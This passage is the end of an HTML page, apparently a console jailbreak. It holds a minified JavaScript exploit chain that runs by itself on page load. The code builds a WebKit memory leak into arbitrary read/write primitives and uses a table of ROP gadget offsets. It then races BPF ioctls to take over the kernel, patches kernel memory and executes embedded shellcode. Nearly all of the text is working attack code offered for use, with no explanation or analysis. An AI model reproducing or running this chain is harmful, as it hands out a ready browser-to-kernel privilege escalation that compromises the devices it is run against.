;d(a.add32(3960),7038309);d(a.add32(3964),1264935795);d(a.add32(3968),1701737061);d(a.add32(3972),1869366124);d(a.add32(3976),1929405811);d(a.add32(3980),1699439971);d(a.add32(3984),1818586738);d(a.add32(3988),1701145683);d(a.add32(3992),1668481136);d(a.add32(3996),1919241061);d(a.add32(4000),1433167214);d(a.add32(4004),1701145715);d(a.add32(4008),1668481136);d(a.add32(4012),1919241061);d(a.add32(4016),1198286190);d(a.add32(4020),1769239653);d(a.add32(4024),1718576493);d(a.add32(4028),7954788);d(a.add32(4032),1264935795);d(a.add32(4036),1701737061);d(a.add32(4040),1952794476);d(a.add32(4044),1668248144);d(a.add32(4048),1416852325);d(a.add32(4052),6647145);d(a.add32(4056),1264935795);d(a.add32(4060),1701737061);d(a.add32(4064),1952794476);d(a.add32(4068),1920103747);d(a.add32(4072),1131703909);d(a.add32(4076),1929409904);d(a.add32(4080),1952674681);d(a.add32(4084),2037579884);d(a.add32(4088),1819566963);d(a.add32(4092),1634629986);d(a.add32(4096),1929405805);d(a.add32(4100),1918989177);d(a.add32(4104),1694525539);d(a.add32(4108),1986225528);d(a.add32(4112),1953497189);d(a.add32(4116),1634038376);d(a.add32(4120),1702059876);d(a.add32(4124),1879074412);d(a.add32(4128),1701996660);d(a.add32(4132),1935631457);d(a.add32(4136),1717662821);d(a.add32(4140),1768843622);d(a.add32(4144),1851750772);d(a.add32(4148),1668481136);d(a.add32(4152),1919241061);d(a.add32(4156),1131177326);d(a.add32(4160),1952540018);d(a.add32(4164),1970357605);d(a.add32(4168),6649189);d(a.add32(4172),1264935795);d(a.add32(4176),1701737061);d(a.add32(4180),1818575980);d(a.add32(4184),1164276837);d(a.add32(4188),1969583473);d(a.add32(4192),1668481125);d(a.add32(4196),1919241061);d(a.add32(4200),1097622894);d(a.add32(4204),1934976100);d(a.add32(4208),1984262757);d(a.add32(4212),7630437);d(a.add32(4216),1264935795);d(a.add32(4220),1701737061);d(a.add32(4224),1684291948);d(a.add32(4228),1684104530);d(a.add32(4232),1852143173);d(a.add32(4236),1701249140);d(a.add32(4240),1684632948);d(a.add32(4244),1952802560);d(a.add32(4248),6580583);d(a.add32(4252),1886676327);d(a.add32(4256),1929405545);d(a.add32(4260),1769305189);d(a.add32(4264),1702035556);d(a.add32(4268),1684629364);d(a.add32(4272),1952805632);d(a.add32(4276),1769301362);d(a.add32(4280),1702035556);d(a.add32(4284),1734701684);}
var p;var s={};var g={};var gc={"pop_r8":96709,"pop_r9":12268047,"pop_rax":17397,"pop_rcx":339545,"pop_rdx":1826852,"pop_rsi":586634,"pop_rdi":232890,"pop_rsp":124551,"jmp_rax":130,"jmp_rdi":2711166,"mov_rdx_rax":3488561,"mov_rdi_rax":22692143,"mov_rax_rdx":1896224,"mov_rbp_rsp":985418,"mov__rdi__rax":3857131,"mov__rdi__rsi":146114,"mov__rax__rsi":2451047,"mov_rax__rax__":444474,"mov_rax__rdi__":290553,"add_rax_rsi":1384646,"and_rax_rsi":22481823,"add_rdi_rax":5593055,"jop":800720,"ret":60,"stack_chk_fail":200,"setjmp":5368};window.onerror=function(e){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";if(e.startsWith("Error:")==true){alert(e);}else{location.reload();}};function done(){document.getElementById("choice").style.display="none";document.getElementById("done").style.display="block";} function notdone(){document.getElementById("loader").style.display="none";document.getElementById("fail").style.display="block";} var rop=function(){this.stack=new Uint32Array(65536);this.stackBase=p.read8(p.leakval(this.stack).add32(16));this.count=0;this.clear=function(){this.count=0;this.runtime=undefined;for(var i=0;i<4080/2;i++){p.write8(this.stackBase.add32(i*8),0);}};this.pushSymbolic=function(){this.count++;return this.count-1;};this.finalizeSymbolic=function(idx,val){p.write8(this.stackBase.add32(idx*8),val);};this.push=function(val){this.finalizeSymbolic(this.pushSymbolic(),val);};this.push_write8=function(where,what){this.push(g.pop_rdi);this.push(where);this.push(g.pop_rsi);this.push(what);this.push(g.mov__rdi__rsi);};this.fcall=function(rip,rdi,rsi,rdx,rcx,r8,r9){if(rdi!=undefined){this.push(g.pop_rdi);this.push(rdi);} if(rsi!=undefined){this.push(g.pop_rsi);this.push(rsi);} if(rdx!=undefined){this.push(g.pop_rdx);this.push(rdx);} if(rcx!=undefined){this.push(g.pop_rcx);this.push(rcx);} if(r8!=undefined){this.push(g.pop_r8);this.push(r8);} if(r9!=undefined){this.push(g.pop_r9);this.push(r9);} this.push(rip);return this;};this.run=function(){var retv=p.loadchain(this,this.notimes);this.clear();return retv;};return this;};function makeid(){var text="";var possible="ABCDFGHIJKMNOPQRSTUVWXYZLEefulabcdghijkmnopqrstvwxyz0123456789";for(var i=0;i<8;i++){text+=possible.charAt(Math.floor(Math.random()*possible.length));} return text;} var instancespr=[];for(var i=0;i<4096;i++){instancespr[i]=new Uint32Array(1);instancespr[i][makeid()]=50057;} var _dview;function u2d(low,hi){if(!_dview) _dview=new DataView(new ArrayBuffer(16));_dview.setUint32(0,hi);_dview.setUint32(4,low);return _dview.getFloat64(0);} function zeroFill(number,width){width-=number.toString().length;if(width>0){return new Array(width+(/\./.test(number)?2:1)).join("0")+number;} return number+"";} function int64(low,hi){this.low=(low>>>0);this.hi=(hi>>>0);this.add32=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;} return new int64(new_lo,new_hi);};this.add32inplace=function(val){var new_lo=(((this.low>>>0)+val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo<this.low){new_hi++;} this.hi=new_hi;this.low=new_lo;};this.sub32=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;} return new int64(new_lo,new_hi);};this.sub32inplace=function(val){var new_lo=(((this.low>>>0)-val)&4294967295)>>>0;var new_hi=(this.hi>>>0);if(new_lo>(this.low)&4294967295){new_hi--;} this.hi=new_hi;this.low=new_lo;};this.toString=function(val){val=16;var lo_str=(this.low>>>0).toString(val);var hi_str=(this.hi>>>0).toString(val);if(this.hi==0) return lo_str;else{lo_str=zeroFill(lo_str,8);} return hi_str+lo_str;};return this;} var nogc=[];var tgt={a:0,b:0,c:0,d:0};var y=new ImageData(1,16384);postMessage("","*",[y.data.buffer]);var props={};for(var i=0;i<16384/2;){props[i++]={value:1111638594};props[i++]={value:tgt};} var foundLeak=undefined;var foundIndex=0;var maxCount=256;while(foundLeak==undefined&&maxCount>0){maxCount--;history.pushState(y,"");Object.defineProperties({},props);var leak=new Uint32Array(history.state.data.buffer);for(var i=0;i<leak.length-6;i++){if(leak[i]==1111638594&&leak[i+1]==4294901760&&leak[i+2]==0&&leak[i+3]==0&&leak[i+4]==0&&leak[i+5]==0&&leak[i+6]==14&&leak[i+7]==0&&leak[i+10]==0&&leak[i+11]==0&&leak[i+12]==0&&leak[i+13]==0&&leak[i+14]==14&&leak[i+15]==0){foundIndex=i;foundLeak=leak;break;}}} if(!foundLeak){throw new Error("infoleak fail");} Array.prototype.__defineGetter__(100,()=>1);var firstLeak=Array.prototype.slice.call(foundLeak,foundIndex,foundIndex+64);var leakJSVal=new int64(firstLeak[8],firstLeak[9]);var f=document.body.appendChild(document.createElement("iframe"));var a=new f.contentWindow.Array(13.37,13.37);var b=new f.contentWindow.Array(u2d(leakJSVal.low+16,leakJSVal.hi),13.37);var master=new Uint32Array(4096);var slave=new Uint32Array(4096);var leakval_u32=new Uint32Array(4096);var leakval_helper=[slave,2,3,4,5,6,7,8,9,10];tgt.a=u2d(2048,23077632);tgt.b=0;tgt.c=leakval_helper;tgt.d=4919;var c=Array.prototype.concat.call(a,b);document.body.removeChild(f);var hax=c[0];c[0]=0;tgt.c=c;hax[2]=0;hax[3]=0;Object.defineProperty(Array.prototype,100,{get:undefined});tgt.c=leakval_helper;var butterfly=new int64(hax[2],hax[3]);butterfly.low+=16;tgt.c=leakval_u32;var lkv_u32_old=new int64(hax[4],hax[5]);hax[4]=butterfly.low;hax[5]=butterfly.hi;tgt.c=master;hax[4]=leakval_u32[0];hax[5]=leakval_u32[1];var a2sb=new int64(master[4],master[5]);tgt.c=leakval_u32;hax[4]=lkv_u32_old.low;hax[5]=lkv_u32_old.hi;tgt.c=0;hax=0;var p={write8:function(addr,val){master[4]=addr.low;master[5]=addr.hi;if(val instanceof int64){slave[0]=val.low;slave[1]=val.hi;}else{slave[0]=val;slave[1]=0;} master[4]=a2sb.low;master[5]=a2sb.hi;},write4:function(addr,val){master[4]=addr.low;master[5]=addr.hi;slave[0]=val;master[4]=a2sb.low;master[5]=a2sb.hi;},read8:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=new int64(slave[0],slave[1]);master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},read4:function(addr){master[4]=addr.low;master[5]=addr.hi;var rtv=slave[0];master[4]=a2sb.low;master[5]=a2sb.hi;return rtv;},leakval:function(jsval){leakval_helper[0]=jsval;var rtv=this.read8(butterfly);this.write8(butterfly,new int64(1094795585,4294901760));return rtv;}};var get_jmptgt=function(addr){var z=p.read4(addr)&65535;var y=p.read4(addr.add32(2));if(z!=9727) return 0;return addr.add32(y+6);};var exploit=function(){p.leakfunc=function(func){var fptr_store=p.leakval(func);return(p.read8(fptr_store.add32(24))).add32(64);};var parseFloatStore=p.leakfunc(parseFloat);var webKitBase=p.read8(parseFloatStore);webKitBase.low&=4294963200;webKitBase.sub32inplace(5881856-147456);var o2wk=function(o){return webKitBase.add32(o);};for(var gn in gc){if(gc.hasOwnProperty(gn)){g[gn]=o2wk(gc[gn]);}} var libKernelBase=p.read8(get_jmptgt(g.stack_chk_fail));libKernelBase.low&=4294963200;libKernelBase.sub32inplace(53248+16384);var wkview=new Uint8Array(4096);var wkstr=p.leakval(wkview).add32(16);p.write8(wkstr,webKitBase);p.write4(wkstr.add32(8),57131008);var hold1;var hold2;var holdz;var holdz1;while(1){hold1={a:0,b:0,c:0,d:0};hold2={a:0,b:0,c:0,d:0};holdz1=p.leakval(hold2);holdz=p.leakval(hold1);if(holdz.low-48==holdz1.low) break;} var pushframe=[];pushframe.length=128;var funcbuf;var funcbuf32=new Uint32Array(256);nogc.push(funcbuf32);var launch_chain=function(chain){var stackPointer=0;var stackCookie=0;var orig_reenter_rip=0;var reenter_help={length:{valueOf:function(){orig_reenter_rip=p.read8(stackPointer);stackCookie=p.read8(stackPointer.add32(8));var returnToFrame=stackPointer;var ocnt=chain.count;chain.push_write8(stackPointer,orig_reenter_rip);chain.push_write8(stackPointer.add32(8),stackCookie);if(chain.runtime) returnToFrame=chain.runtime(stackPointer);chain.push(g.pop_rsp);chain.push(returnToFrame);chain.count=ocnt;p.write8(stackPointer,(g.pop_rsp));p.write8(stackPointer.add32(8),chain.stackBase);}}};funcbuf=p.read8(p.leakval(funcbuf32).add32(16));p.write8(funcbuf.add32(48),g.setjmp);p.write8(funcbuf.add32(128),g.jop);p.write8(funcbuf,funcbuf);p.write8(parseFloatStore,g.jop);var orig_hold=p.read8(holdz1);var orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;}} p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);}} var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");} returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);} return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");} var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");} return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;} nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.stringify=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&0xFF;} window.nogc.push(bufView);return p.read8(p.leakval(bufView).add32(0x10));};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");} var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;} var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");} var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);} var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);} krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];} start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;}}} showCHOICE();};EnterTemp = function (tempVAL) {var code_addr = new int64(0x26100000, 0x00000009);var buffer = p.syscall(477, code_addr, 0x300000, 7, 0x41000, -1, 0);writePL(p.write4, code_addr.add32(0x100000), (tempVAL));p.fcall(code_addr);};window.onload = function () {setTimeout(exploit, 1500);};
</script>
</body>
</html>
<!-- modified exploit code, do not use with other regular exploits -->
